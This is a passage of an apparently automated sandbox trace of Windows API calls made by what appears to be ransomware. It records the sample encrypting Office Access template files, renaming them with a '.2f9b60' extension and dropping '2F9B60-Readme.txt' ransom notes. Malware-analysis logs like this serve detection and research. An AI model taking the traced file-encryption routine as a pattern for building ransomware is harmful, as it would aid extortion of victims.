DestinationString="c4c6cd7fa8196e9104ecb9678a142123aa4c2e16fedb") returned 0x0 [0141.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86ecd0 [0141.206] RtlFreeAnsiString (AnsiString="c") [0141.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0141.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0141.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd9c0) returned 1 [0141.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1694d0) returned 1 [0141.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdb10) returned 1 [0141.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fda80) returned 1 [0141.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdd50) returned 1 [0141.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdb70) returned 1 [0141.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdba0) returned 1 [0141.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc30) returned 1 [0141.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc00) returned 1 [0141.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202ad760 [0141.208] wcscat (in: _Dest=0x202ad760, _Source="c4c6cd7fa81" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\c4c6cd7fa81") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\c4c6cd7fa81" [0141.208] wcscat (in: _Dest=0x202ad760, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\c4c6cd7fa81.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\c4c6cd7fa81.2f9b60" [0141.208] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\c4c6cd7fa81.2f9b60", NtPathName=0x39fcfc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\c4c6cd7fa81.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x4205e9a0 [0141.208] NtSetInformationFile (FileHandle=0x1bc4, IoStatusBlock=0x39fcfcd0, FileInformation=0x4205e9a0, Length=0xbe, FileInformationClass=0xa) returned 0x0 [0143.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e9a0) returned 1 [0143.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fb690) returned 1 [0143.525] NtQueryInformationFile (in: FileHandle=0x1bc4, IoStatusBlock=0x39fcfc98, FileInformation=0x39fcfca8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x39fcfc98, FileInformation=0x39fcfca8) returned 0x0 [0143.525] NtSetInformationFile (FileHandle=0x1bc4, IoStatusBlock=0x39fcfc98, FileInformation=0x39fcfca8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0143.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad760) returned 1 [0143.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ecd0) returned 1 [0143.710] FlushFileBuffers (hFile=0x1bc4) returned 1 [0143.718] CloseHandle (hObject=0x1bc4) returned 1 [0143.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x2050ca80 [0143.730] wcscpy (in: _Dest=0x2050ca80, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0143.730] wcscat (in: _Dest=0x2050ca80, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" [0143.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2f9b60-readme.txt")) returned 0xffffffff [0143.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc4 [0143.744] WriteFile (in: hFile=0x1bc4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x39fcfb50, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x39fcfb50*=0xba9, lpOverlapped=0x0) returned 1 [0143.745] CloseHandle (hObject=0x1bc4) returned 1 [0143.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ca80) returned 1 [0143.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1230) returned 1 Thread: id = 2149 os_tid = 0x151c [0140.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Msgbox.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\msgbox.accdt")) returned 0x20 [0140.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Msgbox.accdt", dwFileAttributes=0x20) returned 1 [0140.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Msgbox.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\msgbox.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1af0 [0141.200] GetFileSizeEx (in: hFile=0x1af0, lpFileSize=0x3a1ff960 | out: lpFileSize=0x3a1ff960*=21605) returned 1 [0141.200] SetFilePointerEx (in: hFile=0x1af0, liDistanceToMove=0x5461, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.201] ReadFile (in: hFile=0x1af0, lpBuffer=0x3a1ff8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a1ff928, lpOverlapped=0x0 | out: lpBuffer=0x3a1ff8e0*, lpNumberOfBytesRead=0x3a1ff928*=0x4, lpOverlapped=0x0) returned 1 [0141.212] SetFilePointerEx (in: hFile=0x1af0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc00 [0141.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc30 [0141.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdba0 [0141.212] NtQuerySystemTime (in: CurrentTime=0x3a1ff820 | out: CurrentTime=0x3a1ff820*=132462177464602000) returned 0x0 [0141.212] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x7d3dbe41 [0141.212] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x2d16f438 [0141.212] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x3d9bc7fa [0141.212] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x326fd2aa [0141.212] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x454047e8 [0141.212] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x48922c1b [0141.212] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x352540d4 [0141.212] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x3b5a1785 [0141.212] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x45dcbdc6 [0141.212] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x4d5c15e2 [0141.212] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x688bafe5 [0141.212] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x147571f3 [0141.212] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x48248329 [0141.213] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x11fb11f0 [0141.213] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x5791475e [0141.213] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x4709d2c8 [0141.213] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0xf93d743 [0141.213] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x4e0778e2 [0141.213] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x46a0f47f [0141.213] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x38d68f1 [0141.213] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x2ba8c095 [0141.213] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x1a30eb98 [0141.213] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x49516a2e [0141.213] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x316891b8 [0141.213] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0xd69ac13 [0141.213] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x167aa7ce [0141.213] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x18902e55 [0141.213] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0xfef78b5 [0141.213] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x269dd4b8 [0141.213] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x4469b16c [0141.213] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x1fffc6ee [0141.213] RtlRandomEx (in: Seed=0x3a1ff810 | out: Seed=0x3a1ff810) returned 0x1cb869b3 [0141.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdb70 [0141.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0141.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdd50 [0141.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0141.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdba0) returned 1 [0141.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc00) returned 1 [0141.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421f01c0 [0141.223] SetFilePointerEx (in: hFile=0x1af0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.223] ReadFile (in: hFile=0x1af0, lpBuffer=0x421f01c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3a1ff880, lpOverlapped=0x0 | out: lpBuffer=0x421f01c0*, lpNumberOfBytesRead=0x3a1ff880*=0x3c00, lpOverlapped=0x0) returned 1 [0141.242] SetFilePointerEx (in: hFile=0x1af0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0141.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0141.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc00 [0141.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc00) returned 1 [0141.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421ff200 [0141.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc00 [0141.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fda80 [0141.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fda80) returned 1 [0141.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0141.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.244] WriteFile (in: hFile=0x1af0, lpBuffer=0x421ff200*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3a1ff880, lpOverlapped=0x0 | out: lpBuffer=0x421ff200*, lpNumberOfBytesWritten=0x3a1ff880*=0x3c00, lpOverlapped=0x0) returned 1 [0166.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421ff200) returned 1 [0166.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421f01c0) returned 1 [0166.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1ca0 [0166.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd978f0 [0166.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504610 [0166.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1cd0 [0166.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1cd0) returned 1 [0166.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1cd0 [0166.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1d30 [0166.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1d00 [0166.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1d00) returned 1 [0166.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504610) returned 1 [0166.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd978f0) returned 1 [0166.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce139d0 [0166.141] SetFilePointerEx (in: hFile=0x1af0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.141] WriteFile (in: hFile=0x1af0, lpBuffer=0x1ce139d0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3a1ff930, lpOverlapped=0x0 | out: lpBuffer=0x1ce139d0*, lpNumberOfBytesWritten=0x3a1ff930*=0x10a, lpOverlapped=0x0) returned 1 [0208.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62910 [0208.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba4e0 [0208.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ec0 [0208.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ec0) returned 1 [0208.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d520 [0208.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ec0 [0208.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263890 [0208.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263890) returned 1 [0208.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba4e0) returned 1 [0208.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62910) returned 1 [0208.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5cdf0 [0208.110] sprintf (in: _Dest=0x1ce5cdf0, _Format="%c%c" | out: _Dest="29") returned 2 [0208.110] sprintf (in: _Dest=0x1ce5cdf2, _Format="%c%c" | out: _Dest="77") returned 2 [0208.110] sprintf (in: _Dest=0x1ce5cdf4, _Format="%c%c" | out: _Dest="a3") returned 2 [0208.110] sprintf (in: _Dest=0x1ce5cdf6, _Format="%c%c" | out: _Dest="dd") returned 2 [0208.110] sprintf (in: _Dest=0x1ce5cdf8, _Format="%c%c" | out: _Dest="f4") returned 2 [0208.110] sprintf (in: _Dest=0x1ce5cdfa, _Format="%c%c" | out: _Dest="7f") returned 2 [0208.110] sprintf (in: _Dest=0x1ce5cdfc, _Format="%c%c" | out: _Dest="ec") returned 2 [0208.110] sprintf (in: _Dest=0x1ce5cdfe, _Format="%c%c" | out: _Dest="e8") returned 2 [0208.110] sprintf (in: _Dest=0x1ce5ce00, _Format="%c%c" | out: _Dest="6d") returned 2 [0208.110] sprintf (in: _Dest=0x1ce5ce02, _Format="%c%c" | out: _Dest="7d") returned 2 [0208.110] sprintf (in: _Dest=0x1ce5ce04, _Format="%c%c" | out: _Dest="03") returned 2 [0208.110] sprintf (in: _Dest=0x1ce5ce06, _Format="%c%c" | out: _Dest="d6") returned 2 [0208.110] sprintf (in: _Dest=0x1ce5ce08, _Format="%c%c" | out: _Dest="1d") returned 2 [0208.110] sprintf (in: _Dest=0x1ce5ce0a, _Format="%c%c" | out: _Dest="ee") returned 2 [0208.111] sprintf (in: _Dest=0x1ce5ce0c, _Format="%c%c" | out: _Dest="5e") returned 2 [0208.111] sprintf (in: _Dest=0x1ce5ce0e, _Format="%c%c" | out: _Dest="0e") returned 2 [0208.111] sprintf (in: _Dest=0x1ce5ce10, _Format="%c%c" | out: _Dest="48") returned 2 [0208.111] sprintf (in: _Dest=0x1ce5ce12, _Format="%c%c" | out: _Dest="0a") returned 2 [0208.111] sprintf (in: _Dest=0x1ce5ce14, _Format="%c%c" | out: _Dest="5d") returned 2 [0208.111] sprintf (in: _Dest=0x1ce5ce16, _Format="%c%c" | out: _Dest="32") returned 2 [0208.111] sprintf (in: _Dest=0x1ce5ce18, _Format="%c%c" | out: _Dest="3e") returned 2 [0208.111] sprintf (in: _Dest=0x1ce5ce1a, _Format="%c%c" | out: _Dest="ca") returned 2 [0208.111] sprintf (in: _Dest=0x1ce5ce1c, _Format="%c%c" | out: _Dest="cb") returned 2 [0208.111] sprintf (in: _Dest=0x1ce5ce1e, _Format="%c%c" | out: _Dest="ea") returned 2 [0208.111] RtlInitAnsiString (in: DestinationString=0x3a1ff9a8, SourceString="2977a3ddf47fece86d7d03d61dee5e0e480a5d323ecacbea" | out: DestinationString="2977a3ddf47fece86d7d03d61dee5e0e480a5d323ecacbea") [0208.111] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a1ff978, SourceString="2977a3ddf47fece86d7d03d61dee5e0e480a5d323ecacbea", AllocateDestinationString=1 | out: DestinationString="2977a3ddf47fece86d7d03d61dee5e0e480a5d323ecacbea") returned 0x0 [0208.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e9670 [0208.112] wcscat (in: _Dest=0x43145d20, _Source="2977a3ddf47f" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2977a3ddf47f") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2977a3ddf47f" [0208.112] wcscat (in: _Dest=0x43145d20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2977a3ddf47f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2977a3ddf47f.2f9b60" [0208.112] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2977a3ddf47f.2f9b60", NtPathName=0x3a1ff950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2977a3ddf47f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x430fcf40 [0238.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fcf40) returned 1 [0238.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a6000) returned 1 [0238.112] NtQueryInformationFile (in: FileHandle=0x1af0, IoStatusBlock=0x3a1ff9b8, FileInformation=0x3a1ff9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a1ff9b8, FileInformation=0x3a1ff9c8) returned 0x0 [0238.112] NtSetInformationFile (FileHandle=0x1af0, IoStatusBlock=0x3a1ff9b8, FileInformation=0x3a1ff9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43145d20) returned 1 [0240.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430e9670) returned 1 [0240.378] FlushFileBuffers (hFile=0x1af0) returned 1 [0240.642] CloseHandle (hObject=0x1af0) returned 1 [0242.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1ce11290 [0242.732] wcscpy (in: _Dest=0x1ce11290, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0242.732] wcscat (in: _Dest=0x1ce11290, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" [0242.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2f9b60-readme.txt")) returned 0x20 [0242.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11290) returned 1 [0242.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b10f0) returned 1 Thread: id = 2150 os_tid = 0x1520 [0140.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tabs.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tabs.accdt")) returned 0x20 [0140.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tabs.accdt", dwFileAttributes=0x20) returned 1 [0140.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tabs.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tabs.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1af8 [0141.209] GetFileSizeEx (in: hFile=0x1af8, lpFileSize=0x3a31f9c0 | out: lpFileSize=0x3a31f9c0*=24755) returned 1 [0141.209] SetFilePointerEx (in: hFile=0x1af8, liDistanceToMove=0x60af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.209] ReadFile (in: hFile=0x1af8, lpBuffer=0x3a31f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a31f988, lpOverlapped=0x0 | out: lpBuffer=0x3a31f940*, lpNumberOfBytesRead=0x3a31f988*=0x4, lpOverlapped=0x0) returned 1 [0141.227] SetFilePointerEx (in: hFile=0x1af8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc00 [0141.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdba0 [0141.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fda80 [0141.228] NtQuerySystemTime (in: CurrentTime=0x3a31f880 | out: CurrentTime=0x3a31f880*=132462177464758000) returned 0x0 [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x3dc9f3b6 [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x7168013f [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x733c64ec [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x149692df [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x1e8f32f8 [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x262d25b7 [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x688bb6c7 [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x1b936bd5 [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x7b1bf5c4 [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0xe91e66c [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x122acb8a [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x55005cc8 [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x6b603344 [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x4b0a66ed [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x2885742b [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x7c5dd299 [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x66be8eda [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x15533a6a [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x2b14c938 [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x61298307 [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x4285795f [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x586fbfcf [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x64a43bbb [0141.228] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x5440a854 [0141.229] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x68bb86ec [0141.229] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x400e9ed1 [0141.229] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x3206a635 [0141.229] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x5462d3cd [0141.229] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x67cb58af [0141.229] RtlRandomEx (in: Seed=0x3a31f870 | out: 